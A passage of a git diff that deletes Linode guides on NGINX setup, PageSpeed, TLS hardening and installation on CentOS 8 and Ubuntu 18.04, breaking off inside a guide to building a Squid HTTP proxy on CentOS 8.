formatted as `example.com.conf`, located at `/etc/nginx/conf.d/`. - - If you followed this guide or our [Getting Started with NGINX](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) series, then your site's configuration will be in a `server` block in a file stored in `/etc/nginx/conf.d/`. If you do not have this setup, then you likely have the `server` block directly in `/etc/nginx/nginx.conf`. See *[Server Block Examples](https://www.nginx.com/resources/wiki/start/topics/examples/server_blocks/)* in the NGINX docs for more info. - - Create a configuration file for your site with a basic server block inside: - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx >}} -server { - listen 80; - listen [::]:80; - server_name example.com www.example.com; - access_log logs/example.access.log main; - error_log logs/example.error error; - - root /var/www/example.com/; - -} -{{< /file >}} - -3. Ensure that the firewall allows access to the nginx service. If you configured the firewall with `ufw` then do the following: - - a. Check the application configurations that `ufw` is aware of, by typing: - - sudo ufw app list - - b. Enable `Nginx HTTP` from the list: - - sudo ufw allow 'Nginx HTTP' - - c. Verify the change by typing: - {{< output >}} - Status: active - -To Action From --- ------ ---- -OpenSSH ALLOW Anywhere -Nginx HTTP ALLOW Anywhere -OpenSSH (v6) ALLOW Anywhere (v6) -Nginx HTTP (v6) ALLOW Anywhere (v6) - {{< /output >}} - -4. Start NGINX: - - **systemd**: - - systemctl start nginx - - **Other init systems**: - - /usr/sbin/nginx - -5. Verify NGINX is working by going to your site's domain or IP address in a web browser. You should see the NGINX welcome page: - - ![NGINX welcome page](nginx-welcome.png "NGINX welcome page") - - -### PageSpeed - -1. Create PageSpeed's cache location and change its ownership to the `nginx` user and group: - - sudo mkdir /var/cache/ngx_pagespeed/ - sudo chown nginx:nginx /var/cache/ngx_pagespeed/ - -2. Add the PageSpeed directives to your site configuration's `server` block as shown below. - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx >}} -server { - - ... - - pagespeed on; - pagespeed FileCachePath "/var/cache/ngx_pagespeed/"; - pagespeed RewriteLevel OptimizeForBandwidth; - - location ~ "\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+" { - add_header "" ""; - } - - location ~ "^/pagespeed_static/" { } - location ~ "^/ngx_pagespeed_beacon$" { } - - } -{{< /file >}} - - {{< note respectIndent=false >}} -`RewriteLevel OptimizeForBandwidth` is a [safer choice](https://www.modpagespeed.com/doc/optimize-for-bandwidth) than the default CoreFilters rewrite level. -{{< /note >}} - -3. NGINX supports HTTPS by default, so if your site already is set up with a TLS certificate, add the two directives below to your site's `server` block, pointing to the correct location [depending on your system](https://www.modpagespeed.com/doc/https_support#configuring_ssl_certificates). - - pagespeed SslCertDirectory directory; - pagespeed SslCertFile file; - -4. Reload your configuration: - - /usr/sbin/nginx/ -s reload - - Or restart nginx: - - systemctl restart nginx - -5. Test PageSpeed is running and NGINX is successfully serving pages. Substitute *example.com* in the cURL command with your Linode's domain name or IP address. - - curl -I -X GET example.com - - The output should be similar to below. If the response contains an HTTP 200 response and *X-Page-Speed* is listed in the header with the PageSpeed version number, everything is working correctly. - - {{< output >}} -HTTP/1.1 200 OK -Server: nginx/1.17.3 -Content-Type: text/html -Transfer-Encoding: chunked -Connection: keep-alive -Date: Sat, 07 Sep 2019 07:16:44 GMT -X-Page-Speed: 1.13.35.2-0 -Cache-Control: max-age=0, no-cache -{{< /output >}} - -6. Use [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) to test your site for additional improvement areas. diff --git a/docs/guides/web-servers/nginx/getting-started-with-nginx-part-4-tls-deployment-best-practices/index.md b/docs/guides/web-servers/nginx/getting-started-with-nginx-part-4-tls-deployment-best-practices/index.md deleted file mode 100644 index 0d27433c53d..00000000000 --- a/docs/guides/web-servers/nginx/getting-started-with-nginx-part-4-tls-deployment-best-practices/index.md +++ /dev/null @@ -1,292 +0,0 @@ ---- -slug: getting-started-with-nginx-part-4-tls-deployment-best-practices -title: "Getting Started with NGINX (Part 4): TLS Deployment Best Practices" -title_meta: "Getting Started with NGINX: TLS Deployment Best Practices" -description: "This is step four in our guide to Getting Started with NGINX where you will learn best practices, tips, and tricks, when you are deploying HTTPS websites and NGINX." -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-02-09 -keywords: ["ssl", "tls", "nginx", "https", "certificate", "hsts", "ocsp", "http2"] -tags: ["web server","http","nginx","security","ssl"] -license: '[CC BY-ND 4.0](http://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/nginx/nginx-ssl-and-tls-deployment-best-practices/','/web-servers/nginx/tls-deployment-best-practices-for-nginx/','/web-servers/nginx/nginx-ssl-and-tls-deployment-best-practices/','/guides/tls-deployment-best-practices-for-nginx/'] ---- - -![TLS Deployment Best Practices](getting-started-nginx-part-4-tls-deployment-best-practices.jpg) - -## Before you Begin - -- This guide is Part 4 of our *Getting Started with NGINX* series and you will need a working NGINX setup with a website accessible via HTTPS. If do not already have that, then complete at least [Part 1: Basic Installation and Setup](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) and [Part 3: Enable TLS on NGINX for HTTPS Connections](/cloud/guides/getting-started-with-nginx-part-3-enable-tls-for-https/) before going further. - -- You will need root access to the system, or a user account with `sudo` privilege. - -- You may want to make another backup of your `nginx.conf` and site configuration files so you have a snapshot of the work you've done up to this point. The copy commands below are intended as quick examples. By now you've likely put a significant amount of work into this setup, so you should decide on a more resilient backup strategy to preserve your configuration and site data. - - cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup-pt4 - cp -r /etc/nginx/conf.d/ /etc/nginx/conf.d-backup-pt4 - -- To enable any configuration changes you make, you need to run `nginx -s reload` as root. -{{< note type="alert" >}} -Most directives in this guide can be added either to NGINX's `http` block, or an individual site's `server` block. The exceptions are `add_header` directives, which are [not inherited](/cloud/guides/getting-started-with-nginx-part-2-advanced-configuration/#http-response-header-fields). If you're only hosting one website, or if you want all your hosted sites to have the same NGINX parameters, then adding all your `add_header` directives the `http` block is fine. If you intend to use different header options for different site configurations, [see here](/cloud/guides/getting-started-with-nginx-part-2-advanced-configuration/#http-response-header-fields) for a different approach. -{{< /note >}} - -## Redirect Incoming HTTP Traffic HTTPS - -When someone types your website's domain into a browser, the usual behavior is that the site is loaded over HTTP, unencrypted. Redirecting HTTP requests to HTTPS means that a person can still type your site name into their browser's address bar without specifying `https://`, but NGINX will redirect their browser to your site using an HTTPS connection. - -Search engine results rank HTTPS-capable websites higher than sites available only over HTTP, so redirecting HTTP requests to HTTPS is also useful to help increase your page rank. - -1. Assuming you already have a working HTTPS connection with a site configuration file similar to the SSL `server` block below (the second one), add the HTTP `server` block (the first one) above it as shown: - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx >}} -server { - listen 80; - server_name example.com www.example.com; - return 301 https://example.com$request_uri; - } - -server { - listen 443 ssl default_server; - listen [::]:443 ssl default_server ; - server_name example.com www.example.com; - root /var/www/example.com; - } -{{< /file >}} - - The [return ](https://nginx.org/en/docs/http/ngx_http_rewrite_module.html#return) directives will be what handles the redirects. Whether to include directives for both `example.com` or `www.example.com`, depends on which domain your certificate was issued for, if not both. (The [NGINX docs](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#taxing-rewrites) explain why you should use `return 301` instead of `rewrite`). - -1. Reload NGINX: - - nginx -s reload - -2. Go to your site's domain or IP address in a web browser, specifying `http://`. You should be redirected to HTTPS. - -## HTTP Strict Transport Security (HSTS) - -[HSTS](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet) is used to force browsers to only connect using HTTPS, but is a different concept from the return redirect method above. Some things to bear in mind if you're considering enabling HSTS: - -- Your site will be inaccessible over HTTP. -- Your site will inaccessible if using a self-signed certificate certificate, or if your commercially signed certificate expires. -- Web browsers won't let users bypass any certificate warnings unless your HSTS header expires or their browser cache is cleared. - -For more information on HSTS in NGINX, [see NGINX's blog](https://www.nginx.com/blog/http-strict-transport-security-hsts-and-nginx/). - -1. Add the HSTS header directive to the `http` block of `/etc/nginx/nginx.conf`. If you choose to put it elsewhere, remember that HTTP response header fields are [not inherited](/cloud/guides/getting-started-with-nginx-part-2-advanced-configuration/#http-response-header-fields) from parent blocks. - - {{< file "/etc/nginx/nginx.conf" nginx >}} -add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; -{{< /file >}} - -2. Reload NGINX: - - nginx -s reload - -3. Test that HSTS is working with: - - curl -s -D- https://example.com | grep Strict - - The output should be: - - {{< output >}} -Strict-Transport-Security: max-age=31536000; includeSubDomains -{{< /output >}} - -## Create a Larger Diffie-Hellman Prime - -A Diffie-Hellman parameter is a set of randomly generated data used when establishing [Perfect Forward Secrecy](https://en.wikipedia.org/wiki/Forward_secrecy) during initiation of an HTTPS connection. The default size is usually 1024 or 2048 bits, depending on the server's OpenSSL version, but a 4096 bit key will provide greater security. - -1. Change directories to where you maintain your site's TLS certificates. [From Part 3](/cloud/guides/getting-started-with-nginx-part-3-enable-tls-for-https/), we're maintaining the server's certificates out of `/root/certs/example.com/` so we'll continue with that here. - - cd /root/certs/example.com - -2. Create a 4096 bit Diffie-Hellman prime. Depending on the size of your Linode, this could take about 10 minutes to complete. - - openssl genpkey -genparam -algorithm DH -out /root/certs/example.com/dhparam4096.pem -pkeyopt dh_paramgen_prime_len:4096 - - {{< note respectIndent=false >}} -According to the [OpenSSL manual](https://wiki.openssl.org/index.php/Manual:Openssl(1)#STANDARD_COMMANDS), `genpkey -genparam` supersedes `dhparam`. -{{< /note >}} - -3. Add this to the rest of your `ssl_` directives, be they in the `http` of `/etc/nginx/nginx.conf`, or an HTTPS site's `server` block: - - ssl_dhparam /root/certs/example.com/dhparam4096.pem; - -## Enforce Server-Side Cipher Suite Preferences - -Web browsers support many OpenSSL cipher suites, some of which are inefficient or weak. NGINX can impose its TLS cipher suite choices over those of a connecting browser, provided the browser supports them. - -If you have selected a good cipher suite combination with NGINX's `ssl_ciphers` directive, you are increasing the connection's security because NGINX is telling the browser it only wants to communicate through strong cipher and hashing algorithms. - -Add this to the rest of your `ssl_` directives, be they in the `http` of `/etc/nginx/nginx.conf`, or an HTTPS site's `server` block: - -{{< file "/etc/nginx/nginx.conf" nginx >}} -ssl_prefer_server_ciphers on; -{{< /file >}} - -## Increase Keepalive Duration - -SSL/TLS handshakes use a non-negligible amount of CPU power, so minimizing the amount of handshakes which connecting clients need to perform will reduce your system's processor use. One way to do this is by increasing the duration of keepalive connections from 60 to 75 seconds. This is safe for HTTP and HTTPS, so can be added to the `http` block of `/etc/nginx/nginx.conf` or edited if already present. - -{{< file "/etc/nginx/nginx.conf" nginx >}} -keepalive_timeout 75; -{{< /file >}} - -## Increase TLS Session Duration - -Maintain a connected client's SSL/TLS session for 10 minutes before needing to re-negotiate the connection. Add these to the rest of your `ssl_` directives, be they in the `http` or an HTTPS site's `server` block: - -{{< file "/etc/nginx/nginx.conf" nginx >}} -ssl_session_cache shared:SSL:10m; -ssl_session_timeout 10m; -{{< /file >}} - - -## Enable HTTP/2 Support - -[HTTP/2](https://http2.github.io/) is the successor to the HTTP/1.1 standard which, among other benefits, reduces page load times and bandwidth used. While the HTTP/2 specification applies to both HTTP and HTTP traffic, web browsers currently [do not support](https://http2.github.io/faq/#does-http2-require-encryption) unencrypted HTTP/2, so it can only be used with TLS. - -The [Application-Layer Protocol Negotiation](https://en.wikipedia.org/wiki/Application-Layer_Protocol_Negotiation) (ALPN) standard used with HTTP/2 requires OpenSSL 1.0.2+, so if you intend to enable HTTP/2 on a Linux distribution which uses a prior version of OpenSSL, you will first need to compile and install OpenSSL 1.0.2 or later. Second, you will then need to compile NGINX with that version of OpenSSL. - -To check your distribution's version of OpenSSL, run: - - openssl version - -1. Add the `http2` option to the `listen` directive in your site configuration's `server` block for both IPv4 and IPv6. It should look like below: - - listen 443 ssl http2; - listen [::]:443 ssl http2; - -2. Reload NGINX: - - nginx -s reload - -3. Verify HTTP/2 is enabled with the [KeyCDN HTTP/2 Test](https://tools.keycdn.com/http2-test). The result should tell you that your site supports HTTP/2. - - ![HTTP2 Report](keycdn-http2-test.jpg) - -## OCSP Stapling - -When enabled, NGINX will make [OCSP](https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol) requests on behalf of connecting browsers. The response received from the OCSP server is added to NGINX's browser response, which eliminates the need for browsers to verify a certificate's revocation status by connecting directly to an OCSP server. - -1. Add the following directives to your `nginx.conf` file, or to the `server` block of your HTTPS site. If you have been following this series, then your certificates are located at `/root/certs/example.com/`. - - {{< file "/etc/nginx/nginx.conf" nginx >}} -ssl_stapling on; -ssl_stapling_verify on; -ssl_trusted_certificate /root/certs/example.com/cert.crt; -{{< /file >}} - -2. Reload NGINX: - - nginx -s reload - -3. Verify OCSP stapling is working properly: - - openssl s_client -connect example.org:443 -tls1 -tlsextdebug -status - - The return response should show a field of OCPS response data. If instead the command returns *OCSP response: no response sent*, then recheck your configuration. - -## Further Reading and Examples - -Above are some of the most significant ways you can harden TLS connections between NGINX and client devices. There is more which can be done, but beware of creating a configuration which goes against your use case. Remember, simplicity and safety is always better than a highly "tweaked", fragile, and untested configuration. - -Here are a few sites with more information which you should consider to be recommended reading. Linode does not guarantee their accuracy over time. - -- NGINX Docs, [HTTPS configurations](https://nginx.org/en/docs/http/configuring_https_servers.html) - -- Strong SSL Security on nginx, [raymii.org](https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html) - -- OWASP Secure Configuration Guide: [NGINX](https://www.owasp.org/index.php/SCG_WS_nginx) - -## Full Configuration Example - -{{< file "/etc/nginx/nginx.conf" nginx >}} -user nginx; -worker_processes auto; - -error_log /var/log/nginx/error.log warn; -pid /var/run/nginx.pid; - -events { - worker_connections 1024; -} - - -http { - include /etc/nginx/mime.types; - default_type application/octet-stream; - - log_format main '$remote_addr - $remote_user [$time_local] "$request" ' - '$status $body_bytes_sent "$http_referer" ' - '"$http_user_agent" "$http_x_forwarded_for"'; - - access_log /var/log/nginx/access.log main; - - sendfile on; - #tcp_nopush on; - - #gzip on; - - include /etc/nginx/conf.d/*.conf; - - server_tokens off; - keepalive_timeout 75; - - add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; - add_header X-Content-Type-Options nosniff; - add_header X-Frame-Options SAMEORIGIN; - add_header X-XSS-Protection "1; mode=block"; - add_header Referrer-Policy strict-origin-when-cross-origin; - add_header Content-Security-Policy "default-src 'self'; upgrade-insecure-requests;"; - - ssl_certificate /root/certs/example.com/example.com.crt; - ssl_certificate_key /root/certs/example.com/example.com.key; - ssl_ciphers EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH; - ssl_dhparam /root/certs/example.com/dhparam4096.pem; - ssl_prefer_server_ciphers on; - ssl_protocols TLSv1 TLSv1.1 TLSv1.2; - ssl_session_cache shared:SSL:10m; - ssl_session_timeout 10m; - ssl_stapling on; - ssl_stapling_verify on; - ssl_trusted_certificate /root/certs/example.com/cert.crt; - - proxy_cache_path /var/www/example.com/cache/ keys_zone=one:10m inactive=60m use_temp_path=off; -} -{{< /file >}} - - -{{< file "/etc/nginx/conf.d/example.com" nginx >}} -server { - listen 80; - listen [::]:80; - server_name example.com www.example.com; - return 301 https://example.com$request_uri; - } - -server { - listen 443 ssl http2 default_server; - listen [::]:443 ssl http2 default_server; - server_name example.com www.example.com; - root /var/www/example.com; - index index.html; - - location / { - proxy_cache one; - proxy_pass http://localhost:8000; - } - - add_header Feature-Policy "encrypted-media 'self'; autoplay 'none'"; -} -{{< /file >}} - - -## Verify Full Configuration - -1. Reload your NGINX configuration: - - nginx -s reload - -2. The Qualys [SSL Server Test](https://www.ssllabs.com/ssltest/) is one of the most comprehensive SSL/TLS connection tests available (but doesn't work with self-signed certificates). Enter your domain in the form field and run the test. - - Analyze the results carefully, and compare the NGINX options you changed in this guide with the test results. Is everything showing as enabled or otherwise working properly? If not, check through your configuration again. diff --git a/docs/guides/web-servers/nginx/how-to-install-nginx-centos-8/index.md b/docs/guides/web-servers/nginx/how-to-install-nginx-centos-8/index.md deleted file mode 100644 index 5fb14d89220..00000000000 --- a/docs/guides/web-servers/nginx/how-to-install-nginx-centos-8/index.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -slug: how-to-install-nginx-centos-8 -title: "Installing NGINX on CentOS 8" -title_meta: "How to Install NGINX on CentOS 8" -description: "Learn the basics of installing and configuring NGINX on your CentOS 8 server in this quick guide." -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-04-16 -modified: 2020-02-14 -keywords: ["nginx", "load balancing", "centos", "centos 8", "web server", "static content", "install nginx"] -tags: ["centos","web server","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: L_NGINX_on_CentOS8.png -external_resources: - - '[NGINX Official Installation Docs](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)' -relations: - platform: - key: how-to-install-nginx - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/nginx/how-to-install-nginx-centos-8/'] ---- - -## What is NGINX? - -NGINX is an open source web server with powerful load balancing, reverse proxy, and caching features. It was [initially designed](https://www.nginx.com/resources/glossary/nginx/) to solve scaling and concurrency problems with existing web servers. Its event-based, asynchronous architecture has made it one of the most popular and best-performing web servers available today. - -## Before You Begin - -1. Set up your Linode in the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. If you want a custom domain name for your site, you can set this up using our [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. - - - Don't forget to update your `/etc/hosts` file with your Linode's public IP address and your site's fully qualified domain name as explained in the [Update Your System's hosts File](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#update-your-systems-hosts-file) section of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. Install the SELinux core policy Python utilities. This will give you the ability to manage SELinux settings in a fine-grained way. - - sudo dnf install -y policycoreutils-python-utils - - {{% content "limited-user-note-shortguide" %}} - -## Install NGINX - -Currently, the best way to install NGINX on CentOS 8 is to use the version included in CentOS's repositories: - - sudo dnf clean all - sudo dnf update - sudo dnf install nginx - -## Add a Basic Site - -1. Create a new directory for your site. Replace `example.com` with your site's domain name. - - sudo mkdir -p /var/www/example.com - -1. Use SELinux's `chcon` command to change the file security context for web content: - - sudo chcon -t httpd_sys_content_t /var/www/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/example.com -R - sudo ls -dZ /var/www/example.com - -1. You can add your site's files in your `/var/www/example.com` directory. Create an index file with a simple "Hello World" example. Using the text editor of your choice, create a new file, `/var/www/example.com/index.html`. Replace `example.com` with your website’s domain name or your Linode’s public IP address. - - {{< file "/var/www/example.com/index.html" html >}} - - - - My Basic Website - - -
-

Hello World!

-
- - -{{}} - -## Configure NGINX - -NGINX site-specific configuration files are kept in `/etc/nginx/sites-available` and symlinked to `/etc/nginx/sites-enabled/`. Generally, you will create a new file containing a [*server block*](https://www.nginx.com/resources/wiki/start/topics/examples/server_blocks/) in the `sites-available` directory for each domain or subdomain you will be hosting. Then, you will set up a symlink to your files in the `sites-enabled` directory. - -1. Create the directories for your configuration files: - - sudo mkdir -p /etc/nginx/{sites-available,sites-enabled} - -1. Create your site's configuration file in the text editor of your choice. Replace `example.com` in the `server_name` directive with your site's domain name or IP address and `/var/www/example.com` in the `root` directive with your own root directory's location. - - {{< file "/etc/nginx/sites-available/example.com" nginx >}} -server { - listen 80; - listen [::]:80; - server_name example.com; - - root /var/www/example.com; - index index.html; - - location / { - try_files $uri $uri/ =404; - } -} -{{< /file >}} - -1. Set up a new symlink to the `/etc/nginx/sites-enabled/` directory to enable your configuration: - - sudo ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/ - -1. Update the NGINX configuration file, `/etc/nginx/nginx.conf`, to add an `include` directive to the `/etc/nginx/sites-enabled/*` directory. This `include` must be within your configuration files' `http` block. Place the `include` directive below the `include /etc/nginx/conf.d/*.conf;` line. - - {{< file "/etc/nginx/nginx.conf" >}} -... -http { -... - include /etc/nginx/conf.d/*.conf; - include /etc/nginx/sites-enabled/*; -... -} -{{}} - -1. Open the firewall for traffic: - - sudo firewall-cmd --zone=public --permanent --add-service={http,https} - sudo firewall-cmd --list-all - sudo firewall-cmd --reload - -### Test and Enable NGINX - -1. You can test your NGINX configuration with this command: - - sudo nginx -t - -1. Start the service with the following commands: - - sudo systemctl enable nginx - sudo systemctl start nginx - -1. Verify that it's running: - - sudo systemctl status nginx - -1. Navigate to your Linode's domain name or IP address in a browser. You should see your simple page displayed. - -## Advanced Configuration - -- For more advanced configuration options, including security and performance optimizations and TLS setup, see our four-part series on NGINX: - - - [Part 1: Installation and Basic Setup](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) - - [Part 2: (Slightly More) Advanced Configurations](/cloud/guides/getting-started-with-nginx-part-2-advanced-configuration/) - - [Part 3: Enable TLS for HTTPS Connections](/cloud/guides/getting-started-with-nginx-part-3-enable-tls-for-https/) - - [Part 4: TLS Deployment Best Practices](/cloud/guides/getting-started-with-nginx-part-4-tls-deployment-best-practices/) - -- Changes to your NGINX configurations may require updates to your SELinux policies and contexts. For an introduction to SELinux, see our [Getting Started with SELinux](/cloud/guides/a-beginners-guide-to-selinux-on-centos-7/) guide. diff --git a/docs/guides/web-servers/nginx/how-to-install-nginx-ubuntu-18-04/index.md b/docs/guides/web-servers/nginx/how-to-install-nginx-ubuntu-18-04/index.md deleted file mode 100644 index 9ad83279af8..00000000000 --- a/docs/guides/web-servers/nginx/how-to-install-nginx-ubuntu-18-04/index.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -slug: how-to-install-nginx-ubuntu-18-04 -title: "Installing NGINX on Ubuntu 18.04" -title_meta: "How to Install NGINX on Ubuntu 18.04" -description: "Learn the basics of installing and configuring NGINX on your Ubuntu 18.04 server in this quick guide." -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-04-16 -modified: 2020-02-14 -keywords: ["nginx", "load balancing", "ubuntu", "ubuntu 18", "web server", "static content", "install nginx"] -tags: ["web server","ubuntu","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[NGINX Official Installation Docs](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)' -relations: - platform: - key: how-to-install-nginx - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/web-servers/nginx/how-to-install-nginx-ubuntu-18-04/','/web-servers/nginx/install-nginx-ubuntu/'] ---- - -![Install NGINX on Ubuntu 18](install-nginx-ubuntu-smg.jpg) - -## What is NGINX? - -NGINX is an open source web server with powerful load balancing, reverse proxy, and caching features. It was [initially designed](https://www.nginx.com/resources/glossary/nginx/) to solve scaling and concurrency problems with existing web servers. Its event-based, asynchronous architecture has made it one of the most popular and best-performing web servers available. - -## Before You Begin - -1. Set up your Linode in the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. If you want a custom domain name for your site, you can set this up using our [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. - - - Don't forget to update your `/etc/hosts` file with the public IP and your site's fully qualified domain name as explained in the [Update Your System's hosts File](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#update-your-systems-hosts-file) section of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - - {{% content "limited-user-note-shortguide" %}} - -## Install NGINX - -Currently, the best way to install NGINX on Ubuntu 18.04 LTS is to use the version included in Ubuntu's repositories: - - sudo apt update - sudo apt install nginx - -## Add a Basic Site - -1. Create a new directory for your site. Replace `example.com` with your site's domain name. - - sudo mkdir /var/www/example.com - -1. You can add your site's files in your `/var/www/example.com` directory. Create an index file with a simple "Hello World" example. Using the text editor of your choice, create a new file, `/var/www/example.com/index.html`. Replace `example.com` with your website’s domain name or your Linode’s public IP address. - - {{< file "/var/www/example.com/index.html" html >}} - - - - My Basic Website - - -
-

Hello World!

-
- - -{{}} - -## Configure NGINX - -NGINX site-specific configuration files are kept in `/etc/nginx/sites-available` and symlinked into `/etc/nginx/sites-enabled/`. Generally you will want to create a separate original file in the `sites-available` directory for each domain or subdomain you will be hosting, and then set up a symlink in the `sites-enabled` directory. - -1. Disable the default configuration file by removing the symlink in `/etc/nginx/sites-enabled/`: - - sudo unlink /etc/nginx/sites-enabled/default - -1. Create a configuration file for your site in the text editor of your choice. Replace `example.com` in the `server_name` directive with your site's domain name or IP address: - - {{< file "/etc/nginx/sites-available/example.com" nginx >}} -server { - listen 80; - listen [::]:80; - server_name example.com; - - root /var/www/example.com; - index index.html; - - location / { - try_files $uri $uri/ =404; - } -} -{{< /file >}} - -1. Set up a new symlink to the `/etc/nginx/sites-enabled/` directory to enable your configuration: - - sudo ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/ - -### Test NGINX - -1. Test your configuration for errors: - - sudo nginx -t - -1. Reload the configuration: - - sudo nginx -s reload - -1. Navigate to your Linode's domain name or IP address in a browser. You should see your simple page displayed. - -## Advanced Configuration - -For more advanced configuration options, including security and performance optimizations and TLS setup, see our four-part series on NGINX: - -- [Part 1: Installation and Basic Setup](/cloud/guides/getting-started-with-nginx-part-1-installation-and-basic-setup/) -- [Part 2: (Slightly More) Advanced Configurations](/cloud/guides/getting-started-with-nginx-part-2-advanced-configuration/) -- [Part 3: Enable TLS for HTTPS Connections](/cloud/guides/getting-started-with-nginx-part-3-enable-tls-for-https/) -- [Part 4: TLS Deployment Best Practices](/cloud/guides/getting-started-with-nginx-part-4-tls-deployment-best-practices/) diff --git a/docs/guides/web-servers/squid/squid-http-proxy-centos-8/index.md b/docs/guides/web-servers/squid/squid-http-proxy-centos-8/index.md deleted file mode 100644 index 901bb80fd49..00000000000 --- a/docs/guides/web-servers/squid/squid-http-proxy-centos-8/index.md +++ /dev/null @@ -1,238 +0,0 @@ ---- -slug: squid-http-proxy-centos-8 -title: 'Creating an HTTP Proxy Using Squid on CentOS 8' -title_meta: 'How to Create an HTTP Proxy Using Squid on CentOS 8' -description: This guide shows how to use Squid to create an HTTP proxy server on your Linode running CentOS 8. -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-04-14 -keywords: ["squid", "proxy", "centos", "8", "http"] -tags: ["proxy","web server","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Creating_an_HTTP_Proxy_Using_Squid_on_Centos8_1200x631.png -external_resources: - - '[Squid Official Site](http://www.squid-cache.org/)' - - '[Configure Proxy on Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/configure-proxy-internet)' - - '[Proxy Server Settings on macOS](https://support.apple.com/en-in/guide/mac-help/mchlp2591/mac)' - - '[Connection Settings in Firefox](https://support.mozilla.org/en-US/kb/connection-settings-firefox)' -relations: - platform: - key: install-squid-proxy - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/squid/squid-http-proxy-centos-8/'] ---- - -This guide will show you how to create your own HTTP proxy using Squid, a highly customizable proxy/cache application, on CentOS 8. An HTTP proxy acts as an intermediary between you and the internet. While connected to your Squid HTTP proxy, you will be able to: - -- Anonymously access internet services. -- Bypass certain regional and local network restrictions. - -{{< note >}} -The traffic passed from your client to your Squid HTTP proxy will not be encrypted and will still be visible on your local network. If you are looking for a solution that offers greater security, you may want to look at our guides on [Setting up an SSH Tunnel](/cloud/guides/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/) or [Deploy OpenVPN Access Server with Quick Deploy Apps](/cloud/marketplace-docs/guides/openvpn/). -{{< /note >}} - -## Install Squid - -1. Secure your Linode by completing the instructions in our guide on [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance), including adding a limited user account and configuring a firewall. - - {{< note respectIndent=false >}} -This guide is written for a limited, non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -1. Ensure that your system is up-to-date: - - sudo yum update && sudo yum upgrade - -1. Install Squid using the `yum` software package manager: - - sudo yum install squid - -1. Copy the original configuration file to keep as a backup: - - sudo cp /etc/squid/squid.conf /etc/squid/squid.conf.default - - {{< note respectIndent=false >}} -The Squid configuration file includes comprehensive documentation in its commented lines, along with several uncommented rules that will remain active. These default rules should not be modified while you are following this guide. To gain a deeper understanding of Squid's options and default settings, you can review the full configuration file. -{{< /note >}} - -## Configure Client Access - -Now that you have Squid installed on your Linode, you can configure ways for it to accept connections and serve as an HTTP proxy. The following sections provide different ways for your Squid HTTP proxy to authenticate client connections. You can configure Squid to use either or both authentication methods. - -### IP Address Authentication - -A simple way to use Squid as an HTTP proxy is to use a client's IP address for authentication. - -1. Edit the Squid configuration file and add the following lines at the beginning of the file: - - {{< file "/etc/squid/squid.conf" >}} -acl client src 192.0.2.0 # Home IP -http_access allow client -{{< /file >}} - - Replace `client` with a name that identifies the client computer that will connect to your Squid HTTP proxy, then replace `192.0.2.0` with the client computer's IP address. You can also update the optional comment `# Home IP` to further describe the client. - -1. Alternatively, you can configure multiple clients by adding new `acl` lines to `/etc/squid/squid.conf` and including them in the `http_access allow` line as follows: - - {{< file "/etc/squid/squid.conf" >}} -acl client1 src 192.0.2.0 # Home IP -acl client2 src 192.0.2.1 # Work IP -http_access allow client1 client2 -{{< /file >}} - - Replace `client1` and `client2` with names that identify the client computers, then replace `192.0.2.0` and 